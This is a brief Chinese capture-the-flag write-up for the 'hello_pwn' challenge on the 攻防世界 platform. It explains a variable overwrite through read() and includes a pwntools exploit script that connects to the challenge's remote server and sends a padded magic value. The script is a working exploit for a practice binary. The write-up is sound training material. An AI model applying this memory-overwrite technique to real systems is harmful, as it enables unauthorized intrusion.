攻防世界 | hello_pwn

 看样子是要让我们通过read(0, &unk_601068, 0x10uLL),读入 unk_601068 将 dword_60106C 覆盖

 6c-68=4,所以:

from pwn import *
io = remote("111.198.29.45",45604)
io.recvline()
payload = "A"*4
payload += p64(1853186401)
io.sendline(payload)
io.interactive()

猜你喜欢

转载自www.cnblogs.com/chrysanthemum/p/11764423.html